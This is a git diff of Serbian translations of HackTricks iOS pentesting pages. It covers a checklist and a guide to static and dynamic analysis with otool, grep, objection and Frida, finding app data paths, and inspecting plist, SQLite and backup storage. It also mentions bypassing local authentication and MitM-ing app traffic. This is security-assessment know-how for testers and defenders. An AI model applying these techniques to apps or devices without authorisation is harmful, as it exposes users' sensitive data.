[**Bekapi**](ios-pentesting/#backups) se mogu koristiti za **pristup osetljivim informacijama** sačuvanim u fajl sistemu (proverite početnu tačku ovog ček-liste) -* [ ] Takođe, [**bekapi**](ios-pentesting/#backups) se mogu koristiti za **modifikaciju nekih konfiguracija aplikacije**, zatim **vratiti** bekapi na telefon, i pošto se **modifikovana konfiguracija** učita, neka (sigurnosna) **funkcionalnost** može biti **zaobiđena** +* [ ] [**Bekapovi**](ios-pentesting/#backups) se mogu koristiti za **pristupanje osetljivim informacijama** sačuvanim u fajl sistemu (proverite početnu tačku ovog ček-liste) +* [ ] Takođe, [**bekapovi**](ios-pentesting/#backups) se mogu koristiti za **modifikaciju nekih konfiguracija aplikacije**, zatim **vratiti** bekup na telefon, i pošto se **modifikovana konfiguracija** učita, neka (bezbednosna) **funkcionalnost** može biti **zaobiđena** ### **Memorija Aplikacije** @@ -72,40 +72,40 @@ Drugi načini podrške HackTricks-u: * [ ] Proverite da li možete pronaći [**šifre korištene za kriptografiju**](ios-pentesting/#broken-cryptography) * [ ] Proverite korišćenje [**zastarelih/slabih algoritama**](ios-pentesting/#broken-cryptography) za slanje/skladištenje osetljivih podataka -* [ ] [**Hookujte i pratite kriptografske funkcije**](ios-pentesting/#broken-cryptography) +* [ ] [**Hook i nadgledajte kriptografske funkcije**](ios-pentesting/#broken-cryptography) ### **Lokalna Autentikacija** * [ ] Ako se koristi [**lokalna autentikacija**](ios-pentesting/#local-authentication) u aplikaciji, treba proveriti kako autentikacija funkcioniše. -* [ ] Ako se koristi [**Lokalni Autentikacioni Okvir**](ios-pentesting/#local-authentication-framework) može se lako zaobići -* [ ] Ako se koristi [**funkcija koja može dinamički biti zaobiđena**](ios-pentesting/#local-authentication-using-keychain) možete kreirati prilagođeni frida skriptu +* [ ] Ako se koristi [**Lokalni Autentikacijski Okvir**](ios-pentesting/#local-authentication-framework) može se lako zaobići +* [ ] Ako se koristi [**funkcija koja može dinamički biti zaobiđena**](ios-pentesting/#local-authentication-using-keychain) možete kreirati prilagođeni frida skript ### Izloženost Osetljive Funkcionalnosti Putem IPC -* [**Prilagođeni URI Handleri / Duboki Linkovi / Prilagođene Šeme**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes) +* [**Prilagođeni URI rukovaoci / Duboki linkovi / Prilagođene Šeme**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes) * [ ] Proverite da li aplikacija **registruje neki protokol/šemu** * [ ] Proverite da li aplikacija **registruje korišćenje** nekog protokola/šeme * [ ] Proverite da li aplikacija **očekuje da primi bilo kakvu vrstu osetljivih informacija** putem prilagođene šeme koju može **interceptovati** druga aplikacija koja registruje istu šemu -* [ ] Proverite da li aplikacija **ne proverava i ne čisti** korisnički unos putem prilagođene šeme i neka se **iskoristi neka ranjivost** +* [ ] Proverite da li aplikacija **ne proverava i ne čisti** korisnički unos putem prilagođene šeme i neka **ranjivost može biti iskorišćena** * [ ] Proverite da li aplikacija **izlaže bilo koju osetljivu akciju** koja može biti pozvana sa bilo kog mesta putem prilagođene šeme * [**Univerzalni Linkovi**](ios-pentesting/#universal-links) * [ ] Proverite da li aplikacija **registruje neki univerzalni protokol/šemu** * [ ] Proverite fajl `apple-app-site-association` -* [ ] Proverite da li aplikacija **ne proverava i ne čisti** korisnički unos putem prilagođene šeme i neka se **iskoristi neka ranjivost** +* [ ] Proverite da li aplikacija **ne proverava i ne čisti** korisnički unos putem prilagođene šeme i neka **ranjivost može biti iskorišćena** * [ ] Proverite da li aplikacija **izlaže bilo koju osetljivu akciju** koja može biti pozvana sa bilo kog mesta putem prilagođene šeme * [**UIActivity Deljenje**](ios-pentesting/ios-uiactivity-sharing.md) -* [ ] Proverite da li aplikacija može primiti UIActivities i da li je moguće iskoristiti neku ranjivost sa posebno kreiranim aktivnostima +* [ ] Proverite da li aplikacija može primiti UIActivities i da li je moguće iskoristiti bilo koju ranjivost sa posebno kreiranim aktivnostima * [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md) -* [ ] Proverite da li aplikacija **kopira nešto u opšti pasteboard** +* [ ] Proverite da li aplikacija **kopira bilo šta u opšti pasteboard** * [ ] Proverite da li aplikacija **koristi podatke iz opšteg pasteboard-a za bilo šta** -* [ ] Pratite pasteboard da biste videli da li je kopirana neka **osetljiva informacija** +* [ ] Nadgledajte pasteboard da biste videli da li je kopirana **osetljiva informacija** * [**App Ekstenzije**](ios-pentesting/ios-app-extensions.md) -* [ ] Da li aplikacija **koristi neku ekstenziju**? +* [ ] Da li aplikacija **koristi neko proširenje**? * [**WebViews**](ios-pentesting/ios-webviews.md) * [ ] Proverite koje vrste webview-ova se koriste * [ ] Proverite status **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`** * [ ] Proverite da li webview može **pristupiti lokalnim fajlovima** sa protokolom **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`) -* [ ] Proverite da li JavaScript može pristupiti **Nativnim** **metodama** (`JSContext`, `postMessage`) +* [ ] Proverite da li Javascript može pristupiti **Nativnim** **metodama** (`JSContext`, `postMessage`) ### Komunikacija putem mreže * [ ] Izvršite [**MitM napad na komunikaciju**](ios-pentesting/#network-communication) i potražite web ranjivosti. @@ -119,7 +119,7 @@ Drugi načini podrške HackTricks-u: **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -129,7 +129,7 @@ Drugi načini podrške HackTricks-u: Drugi načini podrške HackTricks-u: -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** @@ -137,7 +137,7 @@ Drugi načini podrške HackTricks-u: -
+
\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ diff --git a/mobile-pentesting/ios-pentesting/README.md b/mobile-pentesting/ios-pentesting/README.md index 503ed815e..2bc8529bf 100644 --- a/mobile-pentesting/ios-pentesting/README.md +++ b/mobile-pentesting/ios-pentesting/README.md @@ -1,6 +1,6 @@ # iOS Pentesting -
+
\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ @@ -14,11 +14,11 @@ Pristupite danas: Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. @@ -28,7 +28,7 @@ Drugi načini podrške HackTricks-u: [ios-basics.md](ios-basics.md) {% endcontent-ref %} -## Okruženje za testiranje +## Testno Okruženje Na ovoj stranici možete pronaći informacije o **iOS simulatoru**, **emulatorima** i **jailbreaking-u:** @@ -36,9 +36,9 @@ Na ovoj stranici možete pronaći informacije o **iOS simulatoru**, **emulatorim [ios-testing-environment.md](ios-testing-environment.md) {% endcontent-ref %} -## Početna analiza +## Početna Analiza -### Osnovne operacije testiranja iOS-a +### Osnovne iOS Testne Operacije Tokom testiranja će biti predložene **različite operacije** (povezivanje sa uređajem, čitanje/pisanje/otpisivanje/preuzimanje fajlova, korišćenje nekih alata...). Stoga, ako ne znate kako da izvršite bilo koju od ovih radnji, molimo vas da **počnete sa čitanjem stranice**: @@ -47,13 +47,13 @@ Tokom testiranja će biti predložene **različite operacije** (povezivanje sa u {% endcontent-ref %} {% hint style="info" %} -Za sledeće korake **aplikacija treba biti instalirana** na uređaju i već ste trebali dobiti **IPA fajl** aplikacije.\ -Pročitajte stranicu [Osnovne operacije testiranja iOS-a](basic-ios-testing-operations.md) da biste saznali kako to uraditi. +Za sledeće korake **aplikacija treba biti instalirana** na uređaju i trebalo bi već da ste dobili **IPA fajl** aplikacije.\ +Pročitajte stranicu [Osnovne iOS Testne Operacije](basic-ios-testing-operations.md) da biste saznali kako to uraditi. {% endhint %} -### Osnovna statička analiza +### Osnovna Statistička Analiza -Preporučuje se korišćenje alata [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) za automatsku statičku analizu IPA fajla. +Preporučuje se korišćenje alata [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) za automatsku Statističku Analizu IPA fajla. Identifikacija **zaštita koje su prisutne u binarnom fajlu**: @@ -62,7 +62,7 @@ Identifikacija **zaštita koje su prisutne u binarnom fajlu**: ```bash otool -hv | grep PIE # Trebalo bi da uključuje zastavicu PIE ``` -* **Stack Canaries**: Da bi se validirala celovitost steka, 'canary' vrednost se postavlja na stek pre poziva funkcije i ponovo se validira kada funkcija završi. +* **Stack Canaries**: Da bi se potvrdila celovitost steka, 'canary' vrednost se postavlja na stek pre poziva funkcije i ponovo se proverava kada funkcija završi. ```bash otool -I -v | grep stack_chk # Trebalo bi da uključuje simbole: stack_chk_guard i stack_chk_fail @@ -72,15 +72,15 @@ otool -I -v | grep stack_chk # Trebalo bi da uključuje simbole: ```bash otool -I -v | grep objc_release # Trebalo bi da uključuje simbol _objc_release ``` -* **Enkriptovan binarni fajl**: Binarni fajl treba da bude enkriptovan +* **Enkriptovan Binarni Fajl**: Binarni fajl treba da bude enkriptovan ```bash -otool -arch all -Vl | grep -A5 LC_ENCRYPT # cryptid treba da bude 1 +otool -arch all -Vl | grep -A5 LC_ENCRYPT # Cryptid treba da bude 1 ``` -**Identifikacija osetljivih/nepouzdanih funkcija** +**Identifikacija Osetljivih/Nesigurnih Funkcija** -* **Slabe funkcije za heširanje** +* **Slabi Hashing Algoritmi** ```bash # Na iOS uređaju @@ -91,7 +91,7 @@ otool -Iv | grep -w "_CC_SHA1" grep -iER "_CC_MD5" grep -iER "_CC_SHA1" ``` -* **Nepouzdane funkcije za generisanje slučajnih brojeva** +* **Nesigurne Random Funkcije** ```bash # Na iOS uređaju @@ -104,7 +104,7 @@ grep -iER "_random" grep -iER "_srand" grep -iER "_rand" ``` -* **Nepouzdana 'Malloc' funkcija** +* **Nesigurna 'Malloc' Funkcija** ```bash # Na iOS uređaju @@ -113,7 +113,7 @@ otool -Iv | grep -w "_malloc" # Na linux-u grep -iER "_malloc" ``` -* **Nepouzdane i ranjive funkcije** +* **Nesigurne i Ranjive Funkcije** ```bash # Na iOS uređaju @@ -143,11 +143,11 @@ grep -iER "_printf" grep -iER "_vsprintf" ``` -### Osnovna dinamička analiza +### Osnovna Dinamička Analiza -Pogledajte dinamičku analizu koju vrši [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Morate da navigujete kroz različite prikaze i interagujete sa njima, ali će povezati nekoliko klasa, obavljati druge radnje i pripremiti izveštaj kada završite. +Pogledajte dinamičku analizu koju sprovodi [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Morate da navigujete kroz različite prikaze i interagujete sa njima, ali će povezivati nekoliko klasa i obavljati druge radnje, a izradiće izveštaj kada završite. -### Lista instaliranih aplikacija +### Lista Instaliranih Aplikacija Koristite komandu `frida-ps -Uai` da biste odredili **identifikator paketa** instaliranih aplikacija: ```bash @@ -164,7 +164,7 @@ PID Name Identifier ``` ### Osnovna enumeracija i hakovanje -Naučite kako da **enumerišete komponente aplikacije** i kako lako da **hukujete metode i klase** pomoću objection alata: +Naučite kako da **enumerišete komponente aplikacije** i kako lako da **hukujete metode i klase** pomoću objekcije: {% content-ref url="ios-hooking-with-objection.md" %} [ios-hooking-with-objection.md](ios-hooking-with-objection.md) @@ -172,14 +172,14 @@ Naučite kako da **enumerišete komponente aplikacije** i kako lako da **hukujet ### Struktura IPA fajla -Struktura **IPA fajla** je suštinski kao **zipovanog paketa**. Preimenovanjem ekstenzije u `.zip`, može se **dekompresovati** kako bi se otkrili njegovi sadržaji. Unutar ove strukture, **Bundle** predstavlja potpuno zapakovanu aplikaciju spremnu za instalaciju. Unutar, pronaći ćete direktorijum nazvan `.app`, koji obuhvata resurse aplikacije. +Struktura **IPA fajla** je suštinski kao **zipovanog paketa**. Preimenovanjem ekstenzije u `.zip`, može se **dekompresovati** da bi se otkrili njegovi sadržaji. Unutar ove strukture, **Bundle** predstavlja potpuno zapakovanu aplikaciju spremnu za instalaciju. Unutar, pronaći ćete direktorijum nazvan `.app`, koji enkapsulira resurse aplikacije. * **`Info.plist`**: Ovaj fajl sadrži specifične konfiguracione detalje aplikacije. * **`_CodeSignature/`**: Ovaj direktorijum uključuje plist fajl koji sadrži potpis, osiguravajući integritet svih fajlova u paketu. * **`Assets.car`**: Kompresovani arhiv koji čuva fajlove resursa poput ikona. * **`Frameworks/`**: Ovaj folder sadrži native biblioteke aplikacije, koje mogu biti u obliku `.dylib` ili `.framework` fajlova. * **`PlugIns/`**: Ovde se mogu nalaziti proširenja aplikacije, poznata kao `.appex` fajlovi, iako nisu uvek prisutni. -* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Koristi se za čuvanje trajnih podataka vaše aplikacije za offline korišćenje, keširanje privremenih podataka i dodavanje funkcionalnosti poništavanja u vašu aplikaciju na jednom uređaju. Da sinhronizujete podatke na više uređaja u jednom iCloud nalogu, Core Data automatski preslikava vašu šemu u CloudKit kontejner. +* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Koristi se za čuvanje trajnih podataka vaše aplikacije za offline korišćenje, keširanje privremenih podataka i dodavanje funkcionalnosti poništavanja u vašu aplikaciju na jednom uređaju. Da sinhronizujete podatke na više uređaja u jednom iCloud nalogu, Core Data automatski reflektuje vašu šemu u CloudKit kontejneru. * [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Fajl `PkgInfo` je alternativni način za specificiranje tipa i kreator koda vaše aplikacije ili paketa. * **en.lproj, fr.proj, Base.lproj**: Su jezički paketi koji sadrže resurse za te specifične jezike, i podrazumevani resurs u slučaju da jezik nije podržan. * **Bezbednost**: Direktorijum `_CodeSignature/` igra ključnu ulogu u bezbednosti aplikacije verifikujući integritet svih zapakovanih fajlova putem digitalnih potpisa. @@ -189,7 +189,7 @@ Struktura **IPA fajla** je suštinski kao **zipovanog paketa**. Preimenovanjem e **Info.plist** -**Info.plist** služi kao osnova za iOS aplikacije, obuhvatajući ključne konfiguracione podatke u obliku **ključ-vrednost** parova. Ovaj fajl je obavezan ne samo za aplikacije već i za proširenja aplikacija i okvire koji su zapakovani unutar njih. Strukturiran je u XML ili binarnom formatu i sadrži ključne informacije koje se kreću od dozvola aplikacije do sigurnosnih konfiguracija. Za detaljno istraživanje dostupnih ključeva, možete se obratiti [**Apple Developer dokumentaciji**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc). +**Info.plist** služi kao osnova za iOS aplikacije, enkapsulišući ključne konfiguracione podatke u obliku **ključ-vrednost** parova. Ovaj fajl je obavezan ne samo za aplikacije već i za proširenja aplikacija i okvire upakovane unutar njih. Strukturiran je u XML ili binarnom formatu i sadrži ključne informacije koje se kreću od dozvola aplikacije do sigurnosnih konfiguracija. Za detaljno istraživanje dostupnih ključeva, može se referisati na [**Apple Developer dokumentaciju**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc). Za one koji žele da rade sa ovim fajlom u pristupačnijem formatu, konverzija u XML format može se postići lako korišćenjem `plutil` na macOS-u (dostupno nativno na verzijama 10.2 i kasnije) ili `plistutil` na Linux-u. Komande za konverziju su sledeće: @@ -202,15 +202,15 @@ $ plutil -convert xml1 Info.plist $ apt install libplist-utils $ plistutil -i Info.plist -o Info_xml.plist ``` -Među mnoštvom informacija koje **Info.plist** fajl može otkriti, značajni unosi uključuju niske dozvola aplikacije (`UsageDescription`), prilagođene URL šeme (`CFBundleURLTypes`), i konfiguracije za bezbednost transporta aplikacije (`NSAppTransportSecurity`). Ovi unosi, zajedno sa drugima poput izvezenih/uvezenih prilagođenih tipova dokumenata (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), mogu se lako pronaći inspekcijom fajla ili korišćenjem jednostavne `grep` komande: +Među mnoštvom informacija koje **Info.plist** datoteka može otkriti, značajni unosi uključuju niske dozvola aplikacije (`UsageDescription`), prilagođene URL šeme (`CFBundleURLTypes`), i konfiguracije za bezbednost transporta aplikacije (`NSAppTransportSecurity`). Ovi unosi, zajedno sa drugima poput izvoženih/uvezenih prilagođenih tipova dokumenata (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), mogu se lako pronaći inspekcijom datoteke ili korišćenjem jednostavne `grep` komande: ```bash $ grep -i Info.plist ``` **Putanje podataka** -U iOS okruženju, direktorijumi su posebno određeni za **sistemsku aplikaciju** i **korisnički instalirane aplikacije**. Sistemski aplikacije se nalaze u direktorijumu `/Applications`, dok se korisnički instalirane aplikacije smeštaju pod `/private/var/containers/`. Ove aplikacije su dodeljene jedinstveni identifikator poznat kao **128-bitni UUID**, što čini ručno lociranje foldera aplikacije izazovnim zbog nasumičnosti imena direktorijuma. +U iOS okruženju, direktorijumi su posebno određeni za **sistemsku aplikaciju** i **aplikacije koje je instalirao korisnik**. Sistemski aplikacije se nalaze u direktorijumu `/Applications`, dok se aplikacije koje je instalirao korisnik smeštaju u `/private/var/containers/`. Ove aplikacije su dodeljene jedinstveni identifikator poznat kao **128-bitni UUID**, što čini zadatak ručnog lociranja foldera aplikacije izazovnim zbog nasumičnosti imena direktorijuma. -Kako bi olakšao otkrivanje direktorijuma instalacije korisnički instalirane aplikacije, **objection alat** pruža korisnu komandu, `env`. Ova komanda otkriva detaljne informacije o direktorijumu za datu aplikaciju. U nastavku je primer kako koristiti ovu komandu: +Kako bi olakšao otkrivanje direktorijuma instalacije aplikacije koju je instalirao korisnik, **objection alat** pruža korisnu komandu, `env`. Ova komanda otkriva detaljne informacije o direktorijumu za datu aplikaciju. U nastavku je primer kako koristiti ovu komandu: ```bash OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env @@ -225,7 +225,7 @@ Alternativno, ime aplikacije može biti pretraženo unutar `/private/var/contain ```bash find /private/var/containers -name "Progname*" ``` -Komande poput `ps` i `lsof` takođe mogu biti iskorišćene za identifikaciju procesa aplikacije i listanje otvorenih fajlova, redom, pružajući uvid u aktivne putanje direktorijuma aplikacije: +Komande poput `ps` i `lsof` takođe mogu biti iskorišćene za identifikaciju procesa aplikacije i listanje otvorenih fajlova, pružajući uvid u aktivne putanje direktorijuma aplikacije: ```bash ps -ef | grep -i lsof -p | grep -i "/containers" | head -n 1 @@ -252,22 +252,22 @@ lsof -p | grep -i "/containers" | head -n 1 * Sadrži **polu-persistentne keširane fajlove**. * Nevidljiv korisnicima i **korisnici ne mogu pisati u njega**. * Sadržaj u ovom direktorijumu **nije rezervisan**. -* OS može automatski obrisati fajlove iz ovog direktorijuma kada aplikacija nije pokrenuta i kada je prostor za skladištenje fajlova skoro popunjen. +* OS može automatski obrisati fajlove iz ovog direktorijuma kada aplikacija nije pokrenuta i kada je malo slobodnog prostora za skladištenje. * **Library/Application Support/** * Sadrži **persistentne fajlove** neophodne za pokretanje aplikacije. * **Nevidljiv** **korisnicima** i korisnici ne mogu pisati u njega. * Sadržaj u ovom direktorijumu je **rezervisan**. * Aplikacija može onemogućiti putanje postavljanjem `NSURLIsExcludedFromBackupKey`. * **Library/Preferences/** -* Koristi se za čuvanje svojstava koja mogu **trajati čak i nakon ponovnog pokretanja aplikacije**. +* Koristi se za čuvanje svojstava koja mogu **persistirati čak i nakon restartovanja aplikacije**. * Informacije se čuvaju, nešifrovane, unutar peska aplikacije u plist fajlu nazvanom \[BUNDLE\_ID].plist. * Svi parovi ključ/vrednost sačuvani korišćenjem `NSUserDefaults` mogu se pronaći u ovom fajlu. * **tmp/** -* Koristite ovaj direktorijum za pisanje **privremenih fajlova** koji ne moraju trajati između pokretanja aplikacije. +* Koristite ovaj direktorijum za pisanje **privremenih fajlova** koji ne moraju persistirati između pokretanja aplikacije. * Sadrži ne-persistentne keširane fajlove. * **Nevidljiv** korisnicima. * Sadržaj u ovom direktorijumu nije rezervisan. -* OS može automatski obrisati fajlove iz ovog direktorijuma kada aplikacija nije pokrenuta i kada je prostor za skladištenje fajlova skoro popunjen. +* OS može automatski obrisati fajlove iz ovog direktorijuma kada aplikacija nije pokrenuta i kada je malo slobodnog prostora za skladištenje. Pogledajmo detaljnije Application Bundle (.app) direktorijum iGoat-Swift aplikacije unutar Bundle direktorijuma (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`): ```bash @@ -301,7 +301,7 @@ DVIA-v2: ``` **Proverite da li je aplikacija enkriptovana** -Vidite da li postoji bilo kakav izlaz za: +Pogledajte da li postoji bilo kakav izlaz za: ```bash otool -l | grep -A 4 LC_ENCRYPTION_INFO ``` @@ -363,7 +363,7 @@ double _field2; ``` Međutim, najbolje opcije za rastavljanje binarnog koda su: [**Hopper**](https://www.hopperapp.com/download.html?) i [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/). -
+
\ Koristite [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ @@ -386,15 +386,15 @@ Cilj je pronaći **nezaštićene osetljive informacije** aplikacije (šifre, tok ### Plist -**plist** fajlovi su strukturirani XML fajlovi koji **sadrže parove ključ-vrednost**. To je način čuvanja trajnih podataka, pa ponekad možete pronaći **osetljive informacije u ovim fajlovima**. Preporučuje se provera ovih fajlova nakon instaliranja aplikacije i nakon intenzivnog korišćenja kako biste videli da li su upisani novi podaci. +**plist** fajlovi su strukturirani XML fajlovi koji **sadrže parove ključ-vrednost**. To je način za čuvanje trajnih podataka, pa ponekad možete pronaći **osetljive informacije u ovim fajlovima**. Preporučuje se provera ovih fajlova nakon instaliranja aplikacije i nakon intenzivnog korišćenja kako biste videli da li su upisani novi podaci. -Najčešći način trajnog čuvanja podataka u plist fajlovima je kroz korišćenje **NSUserDefaults**. Ovaj plist fajl se čuva unutar aplikacije u pesku u **`Library/Preferences/.plist`** +Najčešći način za trajno čuvanje podataka u plist fajlovima je kroz korišćenje **NSUserDefaults**. Ovaj plist fajl se čuva unutar aplikacije u pesku u **`Library/Preferences/.plist`** -Klasa [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) pruža programski interfejs za interakciju sa podrazumevanim sistemom. Podrazumevani sistem omogućava aplikaciji da prilagodi svoje ponašanje prema **korisničkim preferencama**. Podaci sačuvani pomoću `NSUserDefaults` mogu se pregledati u paketu aplikacije. Ova klasa čuva **podatke** u **plist** **fajlu**, ali je namenjena za korišćenje sa malim količinama podataka. +Klasa [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) pruža programski interfejs za interakciju sa podrazumevanim sistemom. Podrazumevani sistem omogućava aplikaciji da prilagodi svoje ponašanje prema **korisničkim preferencama**. Podaci sačuvani pomoću `NSUserDefaults` mogu se pregledati u aplikacionom paketu. Ova klasa čuva **podatke** u **plist** **fajlu**, ali je namenjena za korišćenje sa malim količinama podataka. -Ovi podaci ne mogu se direktno pristupiti putem pouzdanog računara, ali se mogu pristupiti pravljenjem **rezervne kopije**. +Ovi podaci ne mogu direktno biti pristupljeni putem pouzdanog računara, ali se mogu pristupiti prilikom **bekapovanja**. -Možete **izbaciti** informacije sačuvane korišćenjem **`NSUserDefaults`** koristeći `ios nsuserdefaults get` u objection-u. +Možete **izvući** informacije sačuvane korišćenjem **`NSUserDefaults`** koristeći `ios nsuserdefaults get` u objection-u. Da biste pronašli sve plist fajlove koje koristi aplikacija, možete pristupiti `/private/var/mobile/Containers/Data/Application/{APPID}` i pokrenuti: ```bash @@ -417,14 +417,13 @@ ios plist cat /private/var/mobile/Containers/Data/Application/ ``` ### Core Data -[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple\_ref/doc/uid/TP40001075-CH8-SW1) je okvir za upravljanje slojem modela objekata u vašoj aplikaciji. [Core Data može koristiti SQLite kao svoje trajno skladište](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), ali sam okvir nije baza podataka.\ -CoreData podaci nisu automatski šifrovani. Međutim, dodatni sloj šifrovanja može biti dodat CoreDatu. Pogledajte [GitHub Repo](https://github.com/project-imas/encrypted-core-data) za više detalja. +[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) je okvir za upravljanje slojem modela objekata u vašoj aplikaciji. [Core Data može koristiti SQLite kao svoje trajno skladište](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), ali sam okvir nije baza podataka. CoreData ne šifrira podatke podrazumevano. Međutim, dodatni sloj šifrovanja može se dodati CoreData-u. Pogledajte [GitHub Repo](https://github.com/project-imas/encrypted-core-data) za više detalja. Informacije o SQLite Core Data aplikaciji možete pronaći na putanji `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support` **Ako možete otvoriti SQLite i pristupiti osetljivim informacijama, onda ste pronašli grešku u konfiguraciji.** -{% code title="Kod iz iGoat" %} +{% code title="Kod iz iGoat-a" %} ```objectivec -(void)storeDetails { AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate); @@ -457,15 +456,15 @@ Pošto su Yap baze podataka sqlite baze podataka, možete ih pronaći koristeći ### Ostale SQLite baze podataka -Često se dešava da aplikacije kreiraju svoje sopstvene sqlite baze podataka. Mogu **skladištiti** **osetljive** **podatke** na njima i ostaviti ih nešifrovane. Stoga je uvek interesantno proveriti svaku bazu podataka unutar direktorijuma aplikacije. Zato idite u direktorijum aplikacije gde su podaci sačuvani (`/private/var/mobile/Containers/Data/Application/{APPID}`). +Često se dešava da aplikacije kreiraju svoje sopstvene sqlite baze podataka. Mogu **čuvati** **osetljive** **podatke** na njima i ostaviti ih nešifrovane. Stoga je uvek interesantno proveriti svaku bazu podataka unutar direktorijuma aplikacije. Zato idite u direktorijum aplikacije gde su podaci sačuvani (`/private/var/mobile/Containers/Data/Application/{APPID}`). ```bash find ./ -name "*.sqlite" -or -name "*.db" ``` ### Firebase Real-Time Databases -Programeri mogu **skladištiti i sinhronizovati podatke** unutar **NoSQL cloud-hosted baze podataka** putem Firebase Real-Time baza podataka. Podaci se čuvaju u JSON formatu i sinhronizuju se u realnom vremenu sa svim povezanim klijentima. +Programeri su omogućeni da **skladište i sinhronizuju podatke** unutar **NoSQL cloud-hosted baze podataka** putem Firebase Real-Time baza podataka. Podaci se čuvaju u JSON formatu i sinhronizuju se sa svim povezanim klijentima u realnom vremenu. -Kako proveriti da li su Firebase baze podataka netačno konfigurisane možete pronaći ovde: +Možete saznati kako da proverite da li su Firebase baze podataka netačno konfigurisane ovde: {% content-ref url="../../network-services-pentesting/pentesting-web/buckets/firebase-database.md" %} [firebase-database.md](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) @@ -473,7 +472,7 @@ Kako proveriti da li su Firebase baze podataka netačno konfigurisane možete pr ### Realm baze podataka -[Realm Objective-C](https://realm.io/docs/objc/latest/) i [Realm Swift](https://realm.io/docs/swift/latest/) pružaju moćnu alternativu za skladištenje podataka, što nije obezbeđeno od strane Apple-a. Podaci se podrazumevano **čuvaju nešifrovano**, a enkripcija je dostupna putem specifične konfiguracije. +[Realm Objective-C](https://realm.io/docs/objc/latest/) i [Realm Swift](https://realm.io/docs/swift/latest/) nude moćnu alternativu za skladištenje podataka, što nije obezbeđeno od strane Apple-a. Podaci se podrazumevano **čuvaju nešifrovano**, sa mogućnošću enkripcije putem specifične konfiguracije. Baze podataka se nalaze na: `/private/var/mobile/Containers/Data/Application/{APPID}`. Za istraživanje ovih fajlova, mogu se koristiti komande poput: ```bash @@ -484,7 +483,7 @@ $ find ./ -name "*.realm*" ``` Za 